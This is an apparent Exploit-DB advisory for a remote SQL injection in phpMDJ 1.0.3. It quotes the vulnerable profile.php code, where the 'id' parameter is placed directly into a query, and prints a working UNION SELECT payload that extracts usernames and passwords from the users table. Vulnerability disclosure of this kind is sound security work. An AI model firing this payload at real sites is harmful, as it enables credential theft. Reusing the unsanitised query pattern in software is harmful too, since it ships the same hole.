Remote Sql Injection in phpMDJ 1.0.3

vendor:

phpMDJ

by:

Anonymous

8,8

CVSS

HIGH

SQL Injection

CWE

Product Name: phpMDJ

Affected Version From: 1.0.3

Affected Version To: 1.0.3

Patch Exists: NO

Related CWE: N/A

CPE: a:weboac:phpmdj:1.0.3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

Remote Sql Injection in phpMDJ 1.0.3

phpMDJ 1.0.3 is vulnerable to a Remote Sql Injection vulnerability due to improper sanitization of user input in the 'id' parameter of the 'profile.php' script. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable script. An example of such a request is http://site/path/profile.php?id=-1 union select 1,2,3,mdp,5,6,pseudo,8,9,10,11,12,13,14,15,16 FROM phpmdj_users where id=1--

Mitigation:

Input validation should be performed to ensure that user input is properly sanitized before being used in SQL queries.

Source

Exploit-DB raw data:

,--------------------------------------------------------------,
> Vulnerable Script : phpMDJ 1.0.3                             \
> Download : http://www.weboac.be/phpmdj/docs/phpmdj1.0.3.zip  \
> Vulnerability : Remote Sql Injection                         \
'--------------------------------------------------------------'

,-------------------------------------------------------------------------------------------------------------------------------------,
> Profile.php															      \
> Line 14 : $membre = $_GET['id'];												      \
> Line 15 :															      \
> Line 16 : $sql = "SELECT a.nom AS nGroupe, u.* FROM phpmdj_users u, phpmdj_auth a WHERE u.groupe = a.id_groupe AND u.id = $membre"; \
>																      \
> Injection:															      \
> http://site/path/profile.php?id=[SQL]												      \
>																      \
> Example:															      \
> http://site/path/profile.php?id=-1 union select 1,2,3,mdp,5,6,pseudo,8,9,10,11,12,13,14,15,16 FROM phpmdj_users where id=1--	      \
'-------------------------------------------------------------------------------------------------------------------------------------'